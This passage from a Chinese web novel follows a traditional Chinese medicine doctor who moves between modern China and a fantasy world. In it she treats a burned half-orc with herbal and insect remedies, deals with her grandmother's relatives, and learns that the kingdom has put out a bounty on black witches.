这是见习魔法师尼莫人生中第一次遇到传说级别的魔法生物，来自对方强烈的威压让他下意识忘了吟诵咒语，好半晌才反应过来巨龙似乎说了什么。
很可惜，他压根听不懂古老晦涩的龙语，倒是一旁的芬妮隐约听出了“信徒”、“欺负“这种个别字眼。
还不待她想明白，来自巨龙的龙炎强势得犹如洪水，带着摧枯拉朽般的魔力将她和同伴一整个吞噬殆尽。
*
申姜没想到会在这种地方碰到老熟人，戈德温犹如神兵天降，他庞大的身形第一次那么伟岸、高大，仿佛带着圣光。
伤痕累累的申姜撑着一口气，面带感激，向这位她在这个世界的老熟人——路见不平拔刀相助的黑龙大人致以最诚挚的谢意。
“戈德温大人！多谢您救了我。”
“哼，连我的龙鳞都用上了还打不赢那群废物小东西，你是笨蛋吗？”
要不是他在飞行途中看到属于自己的龙炎气息将一片森林燃烧成璀璨的金色，只怕他的信徒会被这几个人类最初级的魔法师折磨得体无完肤。
虽然她修习了古怪的黑魔法，但那奇怪的魔法在戈德温的眼里，就只有低头挨打的份。
他也正因如此才看不上她这逃避派的做法。
从小被人称为学霸的申姜愕然，原本准备好的夸赞台词被她默默咽回喉咙，半点不想再跟戈德温说话。她的体力已经耗竭，也没力气假装虔诚信徒，只想倒地睡一觉补充体力。
戈德温想到关键，突然问道：“怎么不用银龙的龙鳞？”
申姜鬼使神差听懂了他的潜台词，不是觉得他的龙鳞珍贵吗？为什么不用银龙的龙鳞直接逃离这个地方，反而傻乎乎的留在这跟人火拼。
申姜低头去看躺在地上陷入昏迷的半兽人埃利斯，深吸一口气，“戈德温大人，这是我为您寻得的第一个信徒。”
戈德温瞥了眼信徒身边的半兽人，噢不，是半熟人，正散发着一股烤肉香气，除了那微微起伏的胸口能看出他还剩了一口气，在戈德温眼里他基本已经等同于一个死人。
申姜继续道：“他是一个有远大追求的孩子，听说了您的威名后，也想加入为您除草的光荣行动中。原本我可以直接离开，可我不想让他觉得巨龙的信徒是个胆小的孬种，所以我才……”
戈德温冷冷接话道：“所以你才留在这里，像个可笑的笨蛋被人杀了一次又一次。”
申姜突然有些听不懂他的话，一时之间不知道怎么接茬。她不是好端端站在这里吗？<
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什么叫被人杀了一次又一次？
戈德温嘴里嘟囔着“麻烦精”，却没有直接离开，而是大翅一挥，森林中愈发浓烈的火焰尽数进入了他的身体里，黑色的鳞片因点点火星变得异常红耀，而迷雾森林的熊熊火势就此息鼓。
就在申姜吃惊地看着这反认知的一幕时，戈德温随手将他们拎出了迷雾森林之外。
原本申姜他们走了大半天的路，火龙戈德温只飞了几秒。申姜都没习惯因为失重带来的极度刺激，她的双脚就再度和大地有了亲密接触。
申姜惊魂未定，喃喃道：“戈德温大人，您可真是……太厉害了。”
戈德温的技能之中，最让申姜羡慕的就是他会飞。
戈德温低头瞥她一眼，果不其然看到她那眼睛里满是憧憬，“好了，已经浪费了不少时间，我要去参加凯兰的婚礼了。”
紧接着，他张开巨大的翼翅，以一种极其潇洒的姿势一飞冲天，犹如闪电般化为空中的一个黑点。
申姜后知后觉想到凯兰正是银龙上次提到的要和公主结婚的龙。
原来婚礼是在今天吗？
看着还在地上奄奄一息的埃利斯，申姜叹口气，这个可怜又固执的孩子，烧伤可不好治啊。
*
埃利斯终于从昏迷中被刺痛硬生生痛醒，全身的皮肤犹如被钢丝擦过，疼得他忍不住闷哼。
他睁开眼睛，本以为会看到地狱里的场景，没想到头顶确实他最熟悉的天花板。
他回家了？
黑女巫真的把他带回家了？
这让埃利斯的心里好受不少，即使他知道自己的时间不多了，可能死在亲人和爱人的身边，这让他觉得自己的遗憾少了许多。
“哥哥！你终于醒了！”贝阿朵莉丝将刚刚煎好的药的放到床边，就看到被包成木乃伊的哥哥睁开了双眼，正茫然瞪着天花板出神。
“贝阿朵莉丝。”埃利斯的嗓子干得发疼，“女巫大人呢。”
“昨天下午，女巫大人带着重伤昏迷的你回来，后来她带着我和凯瑟琳去找了给你治病的……材料，”贝阿朵莉丝不知想到了什么，突然打了个寒颤，默默把剩下的话憋到了肚子里，从哥哥的面前落荒而逃，“别担心，你会好起来的。女巫大人说你的嗓子被烟呛坏了，得少说话，我先去看看妈妈。”
要是哥哥知道了女巫大人给他涂在身上的药是用什么做的，说不定会当场撅过去，毕竟他平生最害怕的就是……贝阿朵莉丝摇了摇脑袋，决定要守护好这个秘密。
埃利斯本以为自己这回必死无疑，虽然他回到了家中，但全身袭来的疼痛都在告诉他他命不久矣。
妹妹却说他会好的。
这是怎么回事？
埃利斯突然想到他昏迷的这段时间，曾经做过一个梦，梦里女巫大人似乎在和一头巨龙对话，他甚至飞到了空中。
此刻，他有些迫不及待能再次见到那位神秘的女巫大人。
31.恶毒而又强大的命运啊
回到殿内的芬妮惊魂未定，看着地上的灰烬久久说不出话来，那是被她及时丢弃在地上的魔法师袍。
沾染上龙炎的所有物体，除非恶龙亲自召回它的魔法能量，否则除非像这件法师袍一样直至被烧成灰烬，都不能被任何外力熄灭。
所以，她们小队的另外三名魔法师，都死在了强大的龙炎之下。
这是恶龙强大而古老的魔法，对于身为火系魔法师的她具有十足的诱惑力。她之所以会去迷雾森林，正是前去寻找能够派上用场的魔法材料，为秋季的各大魔法师学院大比竞技做准备。
没想到阴差阳错之下，倒让她发现了比那些普通魔法材料更为珍惜的存在。
芬妮的心头不由一片火热，她忍不住开始畅想，一旦自己拥有了恶龙的龙鳞，届时萨曼莎家族、荆棘魔法学院都将成为这片大陆上最引人注目的存在。
她所在的荆棘魔法学院是玫瑰帝国首屈一指的精英摇篮，却不是这片大陆上最出色的魔法学院。和其他魔法师学院相比，这里汇聚了许多身份尊贵的魔法师，有着强大的家庭背景作为后盾，一般的魔法学院在资源上就难以望其项背，可若是要想和第一帝国的光明魔法学院相比，荆棘魔法学院也只是个不足挂齿的存在。
迷雾森林的位置处于玫瑰帝国境内，这对于芬妮来说有着天然的主场优势。
要知道，她不仅是老牌贵族萨曼莎家最终宠爱的小女儿，她还是帝国之后的亲侄女。
芬妮几乎是毫不犹豫就召来管家。
“下令抓捕帝国境内所有的黑女巫！生死不计！还有迷雾森林所有的大耳鹿，都给我抓回来。”芬妮傲慢无比的给管家下达命令。
芬妮压根就没想到还有那个半兽人，在她看来，那种卑贱又恶心的存在必然已经死在了迷雾森林。他不过是黑女巫豢养的一条工具狗罢了。
*
回到明心堂的申姜是真真快累死了，扑倒在床上，从凌晨足足睡到中午才恢复精力。
和那群熊孩子魔法师的激烈打斗就耗去了大半精力不说，后来她又撑着一口气把重伤昏迷的埃利斯拖回了家，埃利斯身上有不少皮肉翻滚出来的灼伤伤口，要是申姜不想办法给他治疗，就算他能扛过剧痛，也扛不住因为伤口引发的感染。
但申姜哪里还有力气出去找药，坐在地上的她不顾形象地大口喘气，就和上岸濒死挣扎的鱼没什么两样。
看着吓坏了的贝阿朵莉丝还有捂住嘴不让自己失声痛哭的凯瑟琳，申姜的心头涌上难言的愧疚，毕竟她原先和他们说好的就是让埃利斯带个路，哪里会想到早上还活蹦乱跳的大男孩会变成现在这种身上没一块好皮的样子。
申姜倒是希望自己真会埃利斯所谓的治疗魔法，欻一下就把他惨不忍睹的皮肉恢复如初。
好在天无绝人之路，申姜还真找到了办法。
埃利斯嗜睡、呼吸气微、体温不高反低，脉微欲绝属于是阴伤阳脱证，而她背篓里的附子正是回阳救逆第一药。
尤其是在患者亡阳暴脱，脉绝欲亡之时，大剂量的附子能在最关键的时候斩关夺门，破阴回阳，行雷霆霹雳之法，于生死顷刻之间挽救患者性命，申姜大着胆子给埃利斯用上了高剂量的附子，还真把埃利斯的命从死神手里抢了回来。
人是救回来了，可他身上的烧伤还得治，这下申姜可是真没药了。
申姜看着粗糙的地面发着呆，面前飞快爬过去一只身形饱满，头顶两条触须的红褐色昆虫。
申姜：“！”
她转头眼神直勾勾地问贝阿朵莉丝：“你看到爬过去的那个虫子了吗？”
贝阿朵莉丝不懂她为什么那么大的反应，但还是懵懂地点了点脑袋，第一时间上前踩死了那只虫子。
凯瑟琳擦着埃利斯身上的冷汗，低声安慰道：“这只胸甲虫看起来很恶心吧，它们是厨房里最大的小偷，偷光了我们宝贵的食物，村子里的人对它们深恶痛绝却又没有办法。贝阿朵莉丝，快把它扔到屋子外头去，再把厨房好好收拾一遍，最好用热水烫一遍，千万别让这些蛀虫把你的家给偷了。”
申姜眼眸闪起亮光：“快帮我把这些虫子抓回来，越多越好，我有办法治好埃利斯了！”
凯瑟琳猛地抬头，有些不敢置信自己听到了什么，“您的意思是，你要用那些脏虫子练药？埃利斯该不会以后会变成一只半虫人吧？”
天啊，她可以接受一个兽人男友，但她有些无法接受一个虫人男友！更何况埃利斯本人最害怕厌恶的就是这些红褐色的恶心生物……
饶是凯瑟琳心中发颤，可她还是听从了女巫大人的指令，她的爱情和埃利斯的命相比不值一提，先让他活下来才是最重要的。
其他的……之后再说吧。
尽管凯瑟琳心中抱有一丝期待，可看清申姜当着她们的面，将那么多的胸甲虫碾碎榨汁，那股腥气差点没让她呕出来。
更让她难以接受的，是女巫大人将那些臭虫身上的体/液涂到了埃利斯的伤口上！
啊啊啊，这是她在女巫大人这看过最邪恶的黑魔法，现在她彻底相信她的身份是一个黑女巫了。
*
申姜赶在回来之前处理好了埃利斯的伤口，因此这一觉睡得格外安心，一想到瞠目结舌的凯瑟琳和贝阿朵莉丝，她的脸上不由露出微笑。
她们明明是如此担心和害怕，却依旧选择了信任她，这种被病人家属信赖的感觉真不错。
没等申姜继续回味这个梦境，一通电话打断了她的美梦。
“市医院ICU17床申安莲家属吗？病人目前情况稳定，今天就可以转到普通病房，你赶紧过来办手续吧。”电话里的女声带着显而易见的笑意。
申姜直接从床上蹦了起来。
奶奶身上的骂名已经澄清，她的身体也在变好，可以说，一切情况都在朝着最好的方向发展。
等她把奶奶接回家来，她就能开始给奶奶做治疗，同时她还能把明心堂重新开起来。
申姜看着照进窗杦的阳光，彻底感受到什么叫春暖花开。
*
奶奶要
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从ICU转去脑外科普通病房，这么好的消息，申姜第一时间通知了大表叔和小表叔。
两兄弟一前一后赶到了市医院。
“我就知道大姨一定能没事，她治好了那么多病人，身上功德无量，这就叫吉人自有天象！”陈英发爽朗笑道。
陈厚康没有参与他们的聊天，默默拎起床尾的水壶去开水间打热水。
陈英发不以为意，他不知道弟弟这段时间和申姜的关系十分亲厚，见他又是闷嘴葫芦一样，心里有些不屑但没表露到脸上。
申姜心不在焉地点着头，其实压根没把大表叔的话听进去。
她这次只拿到了极少量的麝香，最多就够奶奶吃一次的药量，她在心里盘算着怎么才能在下次拿到足够的麝香。
陈英发见气氛差不多了，一脸慈爱的开口道：“申姜啊，多亏你这几年出去读书见多了世面，要不然大姨这回可真是要冤死了，这都得多亏了你啊。”
申姜有些受不了他那种肉麻的劲，她反倒觉得小表叔这种实在的相处方式更让她自在。
“大表叔，也多亏了你和小表叔。我替奶奶谢谢你们。”
陈英发有些不满，据他所知，上次他们兄弟来医院，他弟陈厚康可没给申姜塞钱，怎么还能平白捞一个好听的名声。他可是足足给了两千的大红包呢，他弟给什么了？
“有句话，我不知该说不该说。”
“不该说就别说。”陈厚康从外头进来，无比自然的接过他哥的话头，丝毫没在意被恶狠狠剜了一眼。
申姜默默在心里给小表叔点赞。
陈英发：“这有你什么事！”
从小到大这犟种都喜欢跟自己唱反调。这次卖药这么好的机会，他就为了跟自己唱反调，硬生生不要毛几万的净利润，在陈英发眼里，他弟跟傻子没什么两样。
“大姨虽然从鬼门关走了一遭平安无事，以后多的是花销。你毕竟还是个年轻女娃，大表叔想劝劝你，千万别觉得自己可以像大姨那样能一个人撑起一家医馆，大姨熬了多少年才出头，像你这个年纪的中医不吃香。你看你学历这么漂亮，赶紧去外头医院找个班上才是正经事，到时候还能补贴家用。”
申姜的眉头渐渐皱拢。
陈厚康冷不丁出声道：“自家医馆不要租金，为什么要着急去外头给人打工？大不了我们以后把卖给明心堂药价压低一些帮衬就是了。”
陈英发怒道：“你有没有脑子，大姨吃喝拉撒不要钱？治病不要钱？请人照顾不要钱？难道就等着坐吃山空！”
他不知道，其实申姜手里早就已经彻底没钱了一次，现在她手里的钱，都是靠明心堂贷款贷出来的，他更不知道，他那看似木讷蠢笨的弟弟其实知道这一切。
申姜再一次感受到来自小说世界的恶意，就算她没有卖掉明心堂，却仍旧有人推着她出去上班，仿佛她必然得走回命运既定好的路线。
“大表叔，我的医术是奶奶教的，你不相信我，难道还不相信奶奶吗？”申姜幽深的眸子直直看向大表叔。
32.肾精不足
落在不认识的人眼里，第一眼就会觉得这三个人里陈英发说了算，他的气势和说话的腔调一点不客气，申姜和陈厚康的气势明显比他低很多。
陈英发自己也是这么觉得的，大姨不在了，申姜以后说不定还得靠着他，当然该对自己放尊重些。所以他对于申姜这样目无尊长偷换概念的反问很是不爽。
“申姜啊，你这是什么话，我怎么可能会不相信大姨。可你也得认清现实，师父领进门，修行在个人，你看你从小在这医馆长大，从毕业到现在好歹也学中医得有十来年了吧，大姨身体好的时候你就没独自坐诊过，你说你要是给人治出个好歹来，那不真是砸了明心堂的招牌。还有，你看看你这张脸，一点没有说服力，哪个病人敢找你看病，只怕到时候一个上门的病人都没有。”
大表叔说的这些都是事实，却不是全部。
表面上，申姜从五岁起跟着奶奶认中药、背汤头歌，后来她去首都念了八年书，直到博士毕业才回来，回到明心堂后又在奶奶身边跟诊了三年，却迟迟没有独立坐诊。
可事实上，申姜的记性极好，可以说是过目不忘，奶奶看她能静得下心，又喜欢跟着自己学，很小就开始给她打基础，多亏了那些时光，申姜的理论基础扎实无比。
上大学时，申姜算得上是首都大学中医系最耀眼的存在，比起那些读大学才接触中医的同学，她其实早学了十几年。同班同学才接触摸脉，学习寸关尺，她早就在周末去街上给路人义诊摸脉了大半年。后来她又因为机缘巧合在梅老的讲座会惊艳四座，让爱才惜才的梅老亲自带了她一年多。
所以苏晴会想和她做朋友，申姜一点也不奇怪，她在大学时的人缘就不错，同学们都很喜欢找她问专业上的问题。
她这三年之所以没有急着独立接诊，正是因为奶奶想趁自己还有精力，尽快把自己一身的本事都教给她。
实践无疑是检验成果最快的办法。
往常给病人看病，奶奶就让她跟着一起诊脉，从望闻问切到开方思路，毫无保留的点拨要点。如果说申姜的前二十年都在念书，学习古人留下来丰厚的中医宝藏，那么从跟着梅老到跟着奶奶的这些年，无疑是她量变引起质变的过程。
大表叔说这些话，其实是因为不了解具体情况瞎出主意，出发点还算是好的。申姜没有耐心继续在这种问题上纠缠，直接为这场谈话做出终结，她微微一笑：“大表叔如果不相信我的医术，不如我来为你诊个脉吧。”
与其大费周章的解释，申姜更喜欢直接用实力证明。
其实申姜很少这样近距离的观察大表叔，这观察下来，她还真发现他脸色有些问题。
他都这个年纪了，按理来说嘴角不应该有这种红疹，而且嘴角泛黑，可不是什么好现象。
而且两位表叔是双胞胎，可站在一块儿，小表叔看着明显要比大表叔更年轻，大表叔皮肤暗沉，眼眶大而明显，竟然隐隐有一幅早衰之象。
陈英发本想说他没毛病，有什么好看的，但看着申姜乖巧的样子，终归还是默认了这件事。
他倒是要看看，这个申姜学了这么些年，究竟是个什么水平。
申姜不动声色的给大表叔诊着脉，心里却是一惊，原本她倒是想给大表叔露一手，没想到真上手了，居然摸了个大的。
大表叔左尺沉见无力，舌淡苔白，是肾精不足的脉象，简单来说：他在房事上不太行。
这话申姜哪里好意思对他说，所以申姜只问了一些最基础的症状，才委婉道：“大表叔是不是容易耳鸣耳聋，还容易健忘恍惚。”
“年纪大了嘛，没办法，不服老不行啊。”陈英发不在意的笑笑。
申姜问道：“掉发的情况是什么时候开始的？牙齿有没有松动？”
陈英发没想到，这妮子还真有几分本事，往常他觉得这些不是啥大毛病，所以也没想过要找医生看看，现在申姜竟然有本事能看出来，倒是他小瞧了她。
不过，诊脉只是这些中医最基础的本事罢了，真要把人治好，那才算厉害，像他大姨就是个有点本事的。
“这个嘛，年轻时候在外头工作太拼，没有好好休息，那会开始头发就掉得厉害。你看那些大明星都有剃光头的，这种病根本没得治。”
陈厚康瞥了眼自家亲哥头顶那几根毛，“不对，我记得你上初中那会就有鬼剃头。”
鬼剃头是斑秃的民间说法，即某一块硬币大小的头皮突然脱发。
申姜一怔，要是大表叔那么早就有了症状，按理来说，他应该很难有孩子才对。可据她所知，大表叔有两个儿子，都是他的亲骨肉。
申姜忍不住咽了下口水：突然知道了好大一个秘密的样子，事情应该不会是她猜测的那样吧。
陈英发看着申姜年轻稚嫩的脸庞，突然改口道：“其实申姜年纪轻轻，有雄心抱负我也能理解，这样吧，等你把明心堂开起来，我让大宝来店里上班，有他在，我不至于担心你跟大姨出事。”
申姜心里正想着着这位小自己三岁的表弟呢，冷不丁听大表叔主动提起，心里有着说不出来的感觉，“表弟是学什么的？会计还是中药？难道他也会炮制中药？”
“这些东西不是学学就会了嘛，大宝这孩子聪明，一学就会。你们这店里就是没个撑场子的男人大姨才会被人欺负，平时有什么体力活你让大宝去做就行。”
“不行不行，我这庙小，请不起人。”
开什么玩笑，她现在身上背着债呢，一个光是还银行的钱就得五万，还得请护工贴身照顾奶奶，吃喝水电样样都要钱。让她招个祖宗来店里，那可不行。
“我能让你给钱吗！反正他最近刚好在家闲着没事，我打算让他来你这学点手艺，你放心，这钱我来掏！”
*
“你今天找我是有什么话要说？”梓宁搅着杯子里的饮料，等了这么些天，这小子才来跟她道歉，她一会可得好好宰这小子一顿午饭。
“我看到你在校园网上发的帖子，你在招新的拍摄助理吗？”
“原来你是想应聘啊。”梓宁恍然大悟，她抱起手臂揶揄道，“现在知道后悔了？会不会晚了点啊。”
陈全见她这幅没心没肺的样子，心里有些憋屈，“难道你就不想知道，上次我
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做穿刺是什么结果吗？”
“什么结果，申医生不是说你是良性的吗？”
陈全从包里抽出穿刺的化验结果递给她，冷笑道：“我就知道你会向着那个女医生说话，她是有点本事，能诊出来我有甲状腺结节，可你好好看上头的结果。”
梓宁的视线落在病理报告上，不由一愣，怎么回事，申医生不是说陈全这个结节是良性的她能治吗，怎么这报告上显示陈全这是个恶性肿瘤。
陈全见她的反应，不由柔和了态度：“我最近加了个病友群，我听里头不少人说切了就没事了。我爸妈帮我约了首都最好的医生，下个礼拜我打算请假去把手术做了。说起来这件事还得多亏了你，要不是你陪我去做了那个检查，我到现在都不知道自己生了病。”
“你等等，我帮你问问申医生这是怎么回事。”梓宁掏出手机。
陈全的眼底满是失望，他苦口婆心劝道：“你怎么到现在还这么相信那个女医生，她的水平其实也就那样，没有那么神乎。我知道明心堂最近在网上引起的热议很大，不过厉害的人是申老医生，不是她啊。”
“申医生说你这病她能治，不用动手术，要不你先别做手术了，再去找她看看。我跟你说，我吃了她的药之后，我……”梓宁兴冲冲从手机里抬起头来，正准备好好跟他分享一下最近自己吃了药后的改变。
陈全没想到，梓宁压根就没听自己说话。刚才的注意力全在跟那个女医生对话上。
“算了！说到底你根本就不在意我，我现在得的是癌啊，是癌！那个女医生连南泽大学都没考上，又说我的结节是良性的，就这样你还让我信她，你是想要我拿自己的命开玩笑吗！”陈全一口气说完，咖啡馆里的人都朝着他们俩的方向看过来。
梓宁差点就被他给吼懵了，“你好好说话，这么大声干什么，我又没聋。”
“我今天过来找你，就是想说服你别再继续做中医这块的内容了，现在中医环境乌烟瘴气的，根本就是夕阳产业。等我做完手术回来，我们可以试着做一个探店的账号，这种账号变现快，说不定以后还能变成我们未来毕了业的工作方向。我们之前的搭档都很默契，你觉得我这个提议怎么样？”
梓宁没想到陈全今天找她，竟然是聊这个的，她硬梆梆道：“我说过，我只想做这方面的内容。你要是想做别的，你可以找别人。”
“没想到你还是老样子，”陈全脸色惨白，半点笑意都挤不出来，“今天来之前我还在想，只要你肯答应我这个要求，以后不管你说什么我都一定听你的。”
梓宁张了张口，不知道该怎么接他的话，她当然知道陈全的心意，她们一起做账号的这大半年时间，陈全一直尊重她甚至讨好她，只要她开心，他也开心，极少会像现在这样，硬逼着她做决定。
“以前我健康的时候，你都看不上我，现在我生了这么大的病，更没有资格追求你。梓宁，我祝你以后天天开心，再见。”陈全失望极了，拿起报告，径直走出了咖啡馆。
“我什么时候说我看不上你了，蠢货。”梓宁喃喃道，“看来，真的得重新招人了啊。”
33.全国通缉
申姜单方面拒绝了大表叔的提议。
虽然大表叔信誓旦旦的向她保证他这个儿子老实、本分，力气还大，但申姜注意到他说这话的时候，不自觉摸了摸鼻子。一个人只有在心虚的时候才会下意识做出摸鼻子的反应，所以申姜猜测这位表弟最近不是刚好在家，而是毕业后可能就一直在家啃老。
申姜不动神色和小表叔的眼神对上，就见他生怕她看不见似的，用力摇了摇头表示反对。
申姜差点没破功笑出来，她眼神好得很，小表叔用得着这么明目张胆的明示她嘛。
眼下这种小插曲对申姜来说无关紧要，她的心思都在上哪再去给奶奶找麝香，上次大耳鹿的分泌物她检查过，正是十分优质的特等麝香，可惜当时散落一地，她只来得及带走一些碎末。
时间来到凌晨三点，申姜衣着整齐地利落从床上下来，背上熟悉的小背篓，静静等待着金色大门的到来。
窗外的小院黑乎乎的，只有几道影子。小表叔收拢的器具放在树下的台子上，反射出微微的冷光，申姜原本冷淡的眼睛在掠过它们时变得分外柔和。
几瞬过后，屋内已不见了人影。
上次申姜离开时的位置距离埃利斯家不远处，所以这次她降落的地点也还是老位置。
申姜才一出现，就被人冷不丁拽住了手腕。
温热有力的触感袭来，申姜下意识反手去抽背篓里的镰刀。
“女巫大人，是我！快走！”帷帽下的声音十分熟悉。
说话的是凯瑟琳，她微微掀起自己头顶宽大的帽子，露出的脸上满是焦躁不安。
发生什么事了？这是申姜第一次看到凯瑟琳打扮得这么奇怪，穿遮脸遮身的袍子一看就是怕人认出来。
她做的很成功，至少申姜没看见她的脸。但这样反而更引人注意不是吗？
不仅如此，凯瑟琳直接解下了自己身上的袍子给她穿上，又把宽大的帽檐拉得低低的，直到确保完全遮住了她的头发和眼睛。
申姜没反抗，很是顺从的跟着凯瑟琳到了埃利斯的小木屋。
老猎人在远处沉默地目睹了这一切，刚刚他的女儿拉着的，可是价值一座百亩庄园的存在，还能够让他们家的阶级上升好几个台阶。
是的，这位黑女巫现在很值钱，要是把她的踪迹报告给城里的骑士团，直接就能获得一笔不菲的赏金。如果能杀死她将她献出去，除了一座百亩的庄园，说不定他还能拥有一次封爵的机会。
老猎人不懂为什么黑女巫突然变成了炙手可热的存在，就像他也不懂大耳鹿什么时候突然就从迷雾森林消失了。但城里的魔法师和教会的骑士团这段时间频频出现在迷雾森林周围，也许会和这件事有着千丝万缕的联系。
这些天，他发觉女儿十分奇怪，总喜欢在这一带徘徊，但她只是无所事事的来回溜达，甚至有一次，她还被魔法师拦住问过话。
老猎人万万没想到，凯瑟琳的目的是为了迎接那个黑女巫，而他今天正好撞见了这一幕。老猎人第一时间就仔细检查了周围，确保没有第三个人看见这里发生的事。
那个女巫曾救过他的妻子，听女儿凯瑟琳说，她还治好了被恶魔诅咒多年的塞西莉亚，原本老猎人是不相信这一切的，直到在一周前，他亲眼看到塞西莉亚在阳光下笨拙地练习走路……
这是一位慷慨且富有善心的女巫，也许他可以睁一只眼、闭一只眼。前提是这种好心不能连累他家人的正常生活。
此刻，摘下帷帽的申姜得到了埃利斯一家万分亲切的问候，尤其是贝阿朵莉丝。
她完全忘了之前的克制，毛茸茸的小脑袋径直过来蹭了蹭申姜，“女巫大人，这段时间您过得好吗？我们都很担心您。”
她问的正是大家最关心的问题。
申姜看到塞西莉亚正朝着自己微笑，虽然她还是很瘦，但那张脸上明显有了不一样的光彩，和前两次比就像是换了个人似的。
埃利斯的伤似乎也恢复得不错，他今天的精神很好，看向申姜的眼神和之前有所变化，多了几分热切，整个人分外阳光。
“我挺好的。发生什么事了吗？”
怎么感觉她不在的这段日子，这个世界好像变天了，气氛突然变得紧张压抑，难道是要打仗了吗？
“女巫大人，现在全国都在通缉黑女巫，王庭开出了十分优渥的奖赏，您这样堂而皇之的出现在外面实在是十分危险。”凯瑟琳忧心忡忡道。
她正是担心会发生这种事，这些日子才会经常在那附近徘徊。
申姜通过凯瑟琳讲述，才知道最近玫瑰帝国发生了一件大事，现在外头到处都是围捕黑女巫的魔法师和王庭骑士团，原本数量庞大的黑女巫，在短短不到一个月的时间，就已经被围捕猎杀了上百名。
不仅如此，埃利斯前几日只身前往迷雾森林，发现里头的大耳鹿统统消失了。
“什么！”申姜失声道，脸上罕见地露出凝重的神色。
怎么会这么巧，同时发生两件和她有关的事。按理来说她这么低调，除了凯瑟琳一家和埃利斯一家，她甚至都没见过其他人类。
不对，她上次来的时候，还见过四个魔法师！
埃利斯抿了抿唇，才开口道：“我听说，城里有一个贵族出身的魔法师，前不久曾从巨龙的手底下死里逃生……”
他记忆中存在的，究竟是梦境还是真实，难道面前的女巫真的豢养了一头巨龙？
这未免太过魔幻了！
申姜一听就知道，果然是上次的魔法师搞的鬼。
也不知道对方使用了什么手段，居然能从戈德温的手底下逃出生天，要是她把这个事情汇报给巨龙大人。以巨龙大人的脾气，说不好立刻就要去杀人灭口。
“你们知道那些消失的大耳鹿都去哪了吗？”申姜神情凝重，她来这里的目的就是那些大耳鹿，别她刚确定了那些分泌物能用，结果大耳鹿被人给灭了。
要是都给她霍霍完了吧，她真能唆使巨龙去灭口。
贝阿朵莉丝弱弱举手，有些不确定的说：“前几天有几只路过的知更鸟告诉我，城外北方有个庄园突然出现了许多魔法生物，长得和那上面的图案很像。”
她指了指申姜之前留下的那张印了林麝照片的纸。
埃利斯见申姜一幅不可置信的模样，连忙解释起来：“她说的是真的，我们兄妹都有自己的异化能力，我的能力是和熊媲美的力量，她的能力是能和一部分动物沟通。”
申姜没想到，贝阿朵莉丝这个小可爱竟然会给自己这样大的惊喜。
她问道：“那座庄园具体的位置你知道吗？有几个人看守在那里？”
贝阿朵莉丝点点头：“我知道，听鸟儿们说，那个地方十分隐蔽，原本除了它们很少有人进去。这段时间里头特别热闹，抓来的大耳鹿都养在城堡后头的马厩中。”<
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p>这下连埃利斯都对妹妹有些刮目相看了，没想到她竟然能从那些小鸟地方得到这么多的信息。以往他跟着凯瑟琳的父亲外出打猎，就留贝阿朵莉丝在家照顾妈妈，从来没见她的技能派上过用处。
没想到第一次就为女巫大人提供了如此关键的信息。
果然，埃利斯看到女巫大人再次伸出了手用力揉了揉妹妹的脑袋，很是欣赏的夸奖起来：“你真是个优秀的女孩，贝阿朵莉丝。你帮了我大忙，知道吗？”
贝阿朵莉丝没有反抗女巫大人对自己的亲昵，很是餍足的眯起眼睛，她很喜欢这位极有本事又十分善良的女巫，忍不住想表现得更好。
“对了，女巫大人，您上次吩咐我们寻找的东西，我已经晒干收好了，您看这些够吗？”
说完，她颇为吃力地从角落拖出一个装的满满当当的麻袋。
埃利斯和塞西莉亚都不知道那些究竟是什么，但凯瑟琳却知道。她想着，也许现在该把埃利斯带出去透透气，否则一会他的尖叫可能会把屋顶震飞。
好在高兴得忘乎所以的贝阿朵莉丝并没有直接打开那个袋子。
申姜不由再次对面前的兽人女孩展开新一轮的赞赏。
“贝阿朵莉丝，也许你有兴趣为我做事吗？”申姜说道，“我可以支付给你酬劳，麻烦你继续为我收集它们。”
“我很乐意，不过我想要上次的白面粉作为酬劳，妈妈很喜欢用那些面粉做出来的面包。可以吗？”
“当然可以。”申姜十分豪爽，“一袋这个换一袋白面粉，另外我还可以给你带一些好吃的食物和有意思的玩具过来。”
埃利斯没想到，妹妹竟然能比自己更早得到女巫大人的青睐有加。像是白面粉这样精贵的食物，他从前根本连想都不敢想，上次在迷雾森林时，他下意识地以为女巫说的只是两袋最普通劣质的黑面粉罢了。
要知道，就是十袋黑面粉都换不来一小袋白面粉，精细的粮食都是贵族才配享用的，而他们家目前有两袋白面粉，他们简直是这个村子里最富有的家庭。
如果上次他能表现得更出色一些，女巫大人此刻想要雇佣的对象应该是他才对。
这是他见过最出色的人，不仅掌握着治疗魔法，还会驭龙，能轻易拿出两袋白面粉赠予他们，最关键的，她还有一颗善良的心。
不行，他必须为自己也争取一个表现的机会。
“女巫大人，贝阿朵莉丝不过是一个稚嫩的孩子罢了。请给我一个机会，您现在不方便抛头露面，我愿意为您去那个庄园走一趟。”
他知道怎么从大耳鹿身上拿到她想要的东西，上次女巫大人当面给他演示过。而且她并没有伤害那只大耳鹿，她如果够狠心，直接剖下那只腺袋就可以。
既然那只大耳鹿能活蹦乱跳地逃走，这说明他可以神不知鬼不觉的取得东西，没有人会发现这一切。这个任务对他而言并不难。
“我不同意！”凯瑟琳坚定的开口道，“你的身体还没完全好，就算去也应该是我去。而且你忘了最重要的一件事，他们不会雇佣一个兽人，你进不去的。”
申姜眼瞅着他们为了帮自己走这一趟争执起来的样子，不由觉得这一幕有些滑稽，这对小情侣究竟知不知道这个任务非常危险啊。
混乱之下，塞西莉亚打开了那袋扎紧了绳子的麻袋。
她倒是很想知道，究竟是什么样的东西能够换来一代白面粉。
34. 才不是为了白面粉
“赫！”
这是什么东西！
塞西莉亚原本笑着的脸僵住，差点没把面前的袋子踢出去。身体不自觉往后退了一步，脑子里更是一下炸开了花。
塞西莉亚完全没有做好准备，因此凑得很近，当她打开袋子，才发现那是一袋满满当当的胸甲虫尸体，密密麻麻的褐红色虫尸堆挤在一块，仿佛要把她淹没……
埃利斯被妈妈奇怪的叫声吸引，扭过头去看。
顿时，他的眼珠子不会转动了。
“啊！！！”
果不其然，埃利斯的尖叫还是如期而至。
凯瑟琳毫不意外埃利斯的反应，她不由暗自摇头。不过她没有想到，埃利斯竟然会晕过去。
可能还是最近太虚弱了吧，她手忙脚乱的用身体接住倒下的男友。
塞西莉亚惊魂未定的扭头看向女巫大人，不是说这位女巫大人是难得一见的好女巫吗，可为什么，她要收集这样可怕的虫尸，数量还如此惊人！简直诡异邪恶到了极点。
申姜摸了埃利斯的脉，对着三双担心的眼睛轻声安抚道：“只是被吓晕过去了，他没事。”
